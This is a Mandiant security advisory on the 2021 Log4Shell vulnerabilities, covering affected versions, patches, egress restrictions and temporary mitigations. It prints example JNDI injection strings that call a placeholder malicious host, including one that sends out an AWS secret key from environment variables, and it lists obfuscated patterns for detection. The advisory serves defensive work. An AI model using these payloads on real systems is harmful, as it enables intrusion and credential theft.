Log4Shell Initial Exploitation and Mitigation Recommendations

mandiant.com/resources/log4shell-recommendations

Matthew McWhirt, John Hultquist

Dec 15, 2021

14 mins read

Threat Research

Vulnerabilities

Remediation

UPDATE (Dec. 30): This post has been updated to reflect a new CVE (CVE-2021-44832) and associated patches.

UPDATE (Dec. 28): This post has been updated to reflect new patches for legacy Java 7 (2.12.3) and Java 6 clients (2.3.1).

UPDATE (Dec. 20): This post has been updated to reflect a new CVE (CVE-2021-45105) and associated patch (Log4j 2.17.0 for Java 8 clients).

UPDATE (Dec. 17): This post has been updated to reference CISA's Emergency Directive 22-02.

UPDATE (Dec. 16): This post has been updated to reference Apache's release of Log4j version 2.12.2 (Java 7 clients).

The recently disclosed Log4j vulnerability (CVE-2021-44228) is one of the most pervasive security vulnerabilities that organizations have had to deal with over the past decade. Log4j is ubiquitous and used by applications and systems deployed across organizations of all sizes. Organizations are struggling to assess the scope and impact of the exposure, given it is not obvious which applications and systems even use Log4j. Software vendors are actively determining whether their software uses Log4j and are communicating the impact to their customers. Organizations must actively monitor for security patch availability and apply it as quickly as possible. They must deploy mitigations to reduce the exploitability and impact of the vulnerable systems that they cannot patch or don't yet know about. Unfortunately, fast-moving adversaries will have the advantage in this scenario, and many are already carrying out large-scale efforts to gain footholds in vulnerable target networks.

In the wake of the vulnerability disclosure, financially motivated actors involved in cryptocurrency mining were among the first to exploit targets en masse. We anticipate that additional financially motivated actors will increasingly exploit the vulnerability in operations, leading to various monetization activities. This includes data theft, ransomware deployment, and multifaceted extortion, as these actors are known to incorporate zero-day and one-day exploits into their operations rapidly.

Due to the urgency of identifying and patching vulnerable applications and systems related to this vulnerability, on December 17, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) instituted Emergency Directive 22-02, which requires that civilian federal agencies must identify and mitigate impacted assets by December 23, 2021, or remove them from agency networks.

As of the publish date of this blog post, we have uncovered evidence of exploitation by China and Iranian state actors. Microsoft has observed exploitation by threat actors based in other countries. We expect threat actors from additional countries will exploit it shortly, if they haven't already. In some cases, state sponsored threat actors will work from a list of prioritized targets that existed long before this vulnerability was known. In other cases, they may conduct broad exploitation and then conduct further post-exploitation activities of targets as they are tasked to do so.

This blog post provides an overview of how this vulnerability impacts organizations, shares additional context on how attackers have leveraged it in the wild, and provides mitigation recommendations.

We anticipate this problem will have a very long tail, as adversaries exploit their footholds to carry out major compromises in the coming months.

Background

Log4j 2 is an open source Java logging library developed by the Apache Foundation. It is widely used in many applications and integrated as a dependency in many services. On December 9, 2021, a critical severity unauthenticated remote code execution vulnerability (CVE-2021-44228 aka "Log4Shell") impacting multiple versions of the Apache Log4j 2 utility was publicly disclosed. Proof of concept (POC) exploitation tools were immediately available, providing remote code execution capabilities within the context of the user running an application that utilizes the library.

From the CVE-2021-44228 description: "Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other [Java Naming and Directory Interface] JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled."

The JNDI injection can leverage specific protocols to request a malicious payload from an attacker's infrastructure - including:

- Lightweight Directory Access Protocol (LDAP)
- Secure LDAP (LDAPS)
- Remote Method Invocation (RMI)
- Domain Name Service (DNS)

As an example, to exploit the vulnerability, an attacker could construct a JDNI insertion and include it within the User-Agent HTTP Header - targeting an application or web server that leverages a vulnerable version of Log4j 2 to download a malicious class file or payload.

```
User-Agent: ${jndi:ldap://<host>:<port>/<path>}
```

On December 14, 2021, an additional Log4j vulnerability was identified (CVE-2021-45046), based upon the fact that Log4j version 2.15.0 did not fully mitigate the CVE-2021-44228 vulnerability with certain non-default configurations, potentially resulting in either remote code execution or a denial of service attack. This was mitigated as of Log4j version 2.16.0 for Java 8 clients.

On December 18, 2021, another Log4j denial of service condition was identified (CVE-2021-45105) impacting versions 2.0-alpha1 through 2.16.0. This was mitigated as of Log4j version 2.12.3 for Java 7 clients and version 2.17.0 for Java 8 clients.

On December 22, 2021, Apache released Log4j version 2.3.1 for legacy Java 6 clients, which provides mitigations for CVE-2021-45105, CVE-2021-45046 and CVE-2021-44228.

On December 28, 2021, Apache released Log4j versions 2.3.2 (Java 6 clients), 2.12.4 (Java 7 clients), and 2.17.1 (Java 8 clients), which provides mitigations for CVE-2021-44832. While categorized as a remote code execution attack, this vulnerability actually requires that an attacker have must have previously established administrative permissions on a target endpoint, resulting into the ability to modify the log4j.xml file. With this level of access, an attacker could alter the log file to include a malicious configuration via a JDBC Appender, with a data source referencing an attacker-controlled JNDI URI (resulting in remote code execution).

CVEs and Impacted Log4j Versions

Table 1: Log4J 2021 CVEs

CVE	Impacted Versions	Impact	Mitigated Version
CVE-2021-44228	Log4j 2.0-beta9 through 2.3 Log4j 2.4 through 2.12.1 Log4j 2.13.0 through 2.15.0	Remote Code Execution (RCE)	Log4j 2.3.1 (Java 6) Log4j 2.12.2+ (Java 7) Log4j 2.16.0+ (Java 8)
CVE-2021-45046	Log4j 2.0-beta9 through 2.3 Log4j 2.4 through 2.12.1 Log4j 2.13.0 through 2.15.0 When specifically using a non-default PatternLayout with a Context Lookup.	Remote Code Execution (RCE) Denial of Service (DoS)	Log4j 2.3.1 (Java 6) Log4j 2.12.2+ (Java 7) Log4j 2.16.0+ (Java 8)

CVE	Impacted Versions	Impact	Mitigated Version
CVE-2021-45105	Log4j 2.0-alpha1 through 2.3 Log4j 2.4 through 2.12.1 Log4j 2.13.0 through 2.16.0 When specifically using a non-default PatternLayout with a Context Lookup.	Denial of Service (DoS)	Log4j 2.3.1 (Java 6) Log4j 2.12.3 (Java 7) Log4j 2.17.0 (Java 8)
CVE-2021-4104	Log4j 1.2 When specifically configured to use JMSAppender, Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. This is not the default configuration.	Remote Code Execution (RCE)	Log4j 1.x is end of life (as of 2015) and contains additional high severity security vulnerabilities. Upgrade to a current version of Log4j 2
CVE-2021-44832	Log4j 2.0-alpha1 through 2.3.1 Log4j 2.4 through 2.12.3 Log4j 2.13.0 through 2.17.0 Requires that an attacker have elevated permissions on a target endpoint which provides the ability to modify the log4j.xml file. Also requires that the JDBC Appender function is being leveraged as part of Log4j.	Remote Code Execution (RCE)	Log4j 2.3.2 (Java 6) Log4j 2.12.4 (Java 7) Log4j 2.17.1 (Java 8)

Mitigation Section

Assess the Scope

Identify

The first step an organization must consider is to determine the scope of applications and dependent services (organization managed and third-party integrated technologies) that leverage the Log4j library. This can be a very challenging and time-consuming process, as the Log4j library could be integrated with many third-party vendor applications and products, in addition to being installed locally on servers and endpoints within an environment.

Example methods which can be potentially leveraged to identify the presence of Log4j:

- Verifying with vendors if the products that are leveraged by the organization are impacted.

  If third-party applications are impacted, understanding the vendor recommended short-term mitigation measures, in addition to the timeframe for when a patch or update path will be available.
- Leveraging internal and external vulnerability scanning tools (ex: Mandiant Attack Surface Management (fka Intrigue), Tenable, Rapid7, Qualys, WhiteSource) which contain signatures or plugins for identifying vulnerable Log4j instances. Additionally, open source vulnerability toolsets can also be leveraged to identify vulnerable Log4j instances, including:
  - Nuclei
  - log4j-finder
  - log4j-scan

Scanning should not only be focused for on-premises (external-facing and internal) resources – but also cloud assets and applications that are managed by the organization.

- Reviewing software asset inventory systems to determine if Java Virtual Machine (JVM) or Log4j libraries are present. Additionally, software asset inventory systems can be leveraged to verify the presence of applications that correlate to vendor notifications of impacted products that rely upon Log4j.
- Leveraging EDR tools to scan for JAR files (ex: log4j-core-2.x.jar), class files (ex: JndiLookup.class), or process execution events associated with Log4j.
- Leveraging tools that can generate a software bill of materials (SBOM) for filesystems and containers (e.g. syft).

Reviewing SIEM logs, endpoint logs, or network traffic to identify matching patterns of potential exploitation attempts and correlating any observed instances to specific endpoints or applications for further review.

Contain

Once the scope is identified, the following high-level containment steps should be followed:

- Restrict egress capabilities from applications and servers. This step will essentially prevent the Java service from having the ability to download a malicious class file via LDAP, LDAPS, RMI, or DNS (or potentially other methods), reducing the impact of identified vulnerability exploitation methods.
- Reduce the attack surface of impacted applications and servers by enclaving or limiting access to the application interfaces that could be leveraged for exploitation targeting.

Note: Until all third-party integrated technologies have been confirmed patched by vendors, these are important initial steps to take to reduce the risk of CVE-2021-44228 exploitation.

- Determine if the identified applications and services can have Log4j patched to version 2.3.1 (Java 6), 2.12.2 or higher (Java 7) or 2.17.0 (Java 8).
    - For third-party integrated technologies, engage with the application / technology vendors to verify if the platform is impacted—and when security updates will be available.
    - Once security updates are available, test and install the updates – prioritizing technologies and applications that are external facing (or have a broad access requirement within the organization).
- If patching is not a viable option, consider the implementation of temporary mitigation measures.

The Cybersecurity and Infrastructure Security Agency (CISA) has collected a list of 'affected' and 'not affected' third-party vendors vulnerable to the Log4j vulnerability. This list can be found on their GitHub.

Patches

Log4j versions 2.3.1 (Java 6 clients), 2.12.3 (Java 7 clients) and 2.17.0 (Java 8 clients) include vulnerability mitigations for CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105. These are the upgrades that Apache recommends for installation.

Java 8 Clients

On December 10, 2021, Apache reported that the CVE-2021-44228 vulnerability had been resolved within Log4j 2 version 2.15.0. The 2.15.0 update essentially disabled the message lookup substitution (log4j2.formatMsgNoLookups) functionality – although JNDI was still **enabled** by default (allowing LDAP lookups to the localhost).

On December 13, 2021, Apache released Log 4j version 2.16.0 for Java 8 clients based upon the fact that Log4j version 2.15.0 did not fully mitigate the CVE-2021-44228 vulnerability with certain non-default configurations, potentially resulting in either remote code execution (RCE) or a denial of service attack. (CVE-2021-45046). Of note, this update disables JNDI functionality and message lookup patterns by default.

As of December 18, 2021, Apache released Log4j version 2.17.0 for Java 8 clients. This update resolved an issue with specific non-default configurations that could result in a denial of service attack (CVE-2021-45105).

Java 7 Clients

On December 14, 2021, Apache released Log 4j version 2.12.2 for legacy Java 7 clients, addressing mitigations for both CVE-2021-44228 and CVE-2021-45046. On December 22, 2021, Apache released an additional update for Java 7 clients (Log4j version 2.12.3), which addresses CVE-2021-45105 by requiring components that use JNDI to be enabled individually using system properties.

Note: Updating to Log4j >= 2.15.0 requires a dependency for Java 8 (or greater). If Java 7 is still required, an upgrade to Log4j 2.12.2 should be considered.

Note: If upgrading from Log4j1.x to Log4j2, the API for Log4j 2 is not compatible with Log4j 1.x.

Java 6 Clients

On December 22, 2021, Apache released Log4j version 2.3.1 for legacy Java 6 clients, which provides mitigations for CVE-2021-45105, CVE-2021-45046 and CVE-2021-44228.

Outbound Traffic Restrictions

Egress Traffic

For any application or web application servers that are running impacted version of Log4j instances, egress restrictions should be enforced so that servers cannot openly communicate and attempt to load arbitrary malicious files from external sites and addresses. The concept of “deny by default” should apply to servers, with only allow-listed and authorized egress traffic flows explicitly defined and enforced.

Egress traffic restrictions should not just be limited to outbound LDAP, LDAPs, RMI, or DNS protocols, but traffic involving any external ports / protocols from servers (as specific ports could be specified within the initial Stage 1 exploit request or leveraged for command and control for Stage 2 callbacks).

Note: “Deny by default” egress traffic restrictions are a best practice to follow for **any** servers, not just those running impacted versions of Log4j instances.

DNS Queries

DNS queries from impacted application or web application servers should also be monitored, as vulnerable Log4j instances could result in external DNS queries (lookups) being executed, resulting in potential information leakage.

```
${jndi:dns://<malicious domain>/<TXT query string>}
```

```
${jdni:ldap://${env:SPECIFIC_VAR}.<malicious domain>/a}
```

While DNS may not provide a method to remotely execute arbitrary code on an impacted server, the simple resolution of an attacker's namespace could potentially be leveraged to obtain contextual information, obtain credentials (stored within environment variables), or tunnel data through DNS (bypassing other security controls and egress restrictions).

Protecting against this method of reconnaissance and leakage can be extremely difficult, as essentially an impacted server would need to have restrictions enforced where DNS recursion is not permissible (and **only** internal or trusted fully qualified domain names (FQDNs) and hosts can be resolved). Considering that many endpoints (including some servers) would need the ability to resolve external FQDNs, enforcing this level of hardening at scale can be quite challenging and impractical.

A consideration to mitigate this method of information extraction would be to configure servers to reference dedicated internal DNS servers for internal name resolution that are **not** configured to allow DNS recursion (and only allow name resolution for internal / trusted FQDNs).

Temporary Recommended Mitigations

If upgrading Log4j 2 to versions 2.3.1 (Java 6), 2.12.2 (Java 7) or 2.17.0 (Java 8) are not viable options, Apache has endorsed specific short-term mitigations (although updating to the highest supported version is the recommended approach).

CVE-2021-44228 and CVE-2021-45046

Per the Apache post, remove the JndiLookup class from the from the log4j-core jar file.

```
zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class
```

Note: Previous mitigations including configuring the system property (log4j2.formatMsgNoLookups) or environment variables (LOG4J_FORMAT_MSG_NO_LOOKUPS or -Dlog4j2.formatMsgNoLookups) to true, or modifying the logging configuration to disable message lookups are **no longer recommended**, as they have proven to be insufficient since there *could* be code paths in Log4j where message lookups may still occur.

CVE-2021-45105

Within the PatternLayout of the logging configuration, replace Context Lookups similar to ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC). Otherwise, in the configuration, remove external source application references of Context Lookups similar to ${ctx:loginId} or $${ctx:loginId}.

Note: Environments that are running Log4j version 2.16.0 and are **not** using Context Lookups in the PatternLayout configuration (a non-default configuration) are not vulnerable to CVE-2021-45105.

CVE-2021-4104 (Log4J Version 1.2)

Per CVE-2021-4104, organizations should upgrade to a current version of Log4j 2. Log4j 1.x is end of life (as of 2015) and contains additional security vulnerabilities.

Per RedHat guidance, if an upgrade to a current version of Log4 2.x is not possible, these vulnerabilities can be mitigated by removing the JMSAppender class file from the classpath.

```
zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class
```

Important: For any of the temporary mitigations noted above, a restart of the application service and Java Virtual Machine (JVM) instance will be required.

CVE-2021-44832

While temporary mitigations are not referenced by Apache for CVE-2021-44832, remote code execution for this vulnerability requires that the JDBC Appender functionality is being leveraged as part of Log4j and that an attacker has previously established administrative permissions on a target endpoint, resulting into the ability to modify the log4j.xml file.

To mitigate this specific vulnerability, Apache recommends upgrading to either Log4j version 2.3.2 (Java 6 clients), 2.12.4 (Java 7 clients), or 2.17.1 (Java 8 clients).

Inbound URL Request Logging and Filtering

Many web application firewall and SIEM vendors have now integrated specific signatures within their platforms that can assist with detecting Log4j exploitation activity. Unfortunately there are also many evasion tactics that attackers are leveraging when exploiting vulnerable Log4j instances.

If web application firewalls, reverse proxy servers, or intrusion prevention systems are positioned to inspect inbound web traffic URLs and strings, specific patterns can be indicative of scanning / exploitation, and could potentially be blocked if devices are positioned inline.

Note: Due to the large number of evolving evasion tactics being observed, this is not to be considered as a comprehensive listing of potential detection strings relevant to CVE-2021-46288 activity – but reflective of various patterns that could be leveraged for detection.

`${jndi:`

`${::-j}${::-n}${::-d}${::-i}:`

`${::-l}${::-d}${::-a}${::-p}:`

`${${::-j}`

`${::-j}ndi`

`${::-`

`${${:-l}${:-o}${:-w}${:-e}${:-r}`

`${:-`

`${lower:jndi}`

`${lower:j}$`

`${lower:`

`${upper:`

`${env:`

`${sys:`

Tactical Remediation

If a compromised Log4j instance is identified, not only should a forensic investigation be conducted, but remediation (removal) of any potentially malicious artifacts (coin miners) or backdoors (web shells).

An additional tactic that attackers are leveraging is attempting to obtain environmental variables stored on servers using LDAP or DNS callbacks.

```
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.<malicious domain>/a}
```

Environment variables that contain credentials or keys can be leveraged by an attacker to obtain access to additional infrastructure (on-premises or cloud-based). If a compromised Log4j instance is running on a server where credentials are stored within environment variables, an important remediation step is to **rotate and change** the passwords / keys that could have been exposed or accessed.

This guide contains example environment variables that can be configured for Amazon Web Services (AWS).

Conclusion

Mandiant will continue to provide updates and relevant mitigations related to this vulnerability. Additional information and context can be accessed by registering for a free subscription to Mandiant Advantage Threat Intelligence.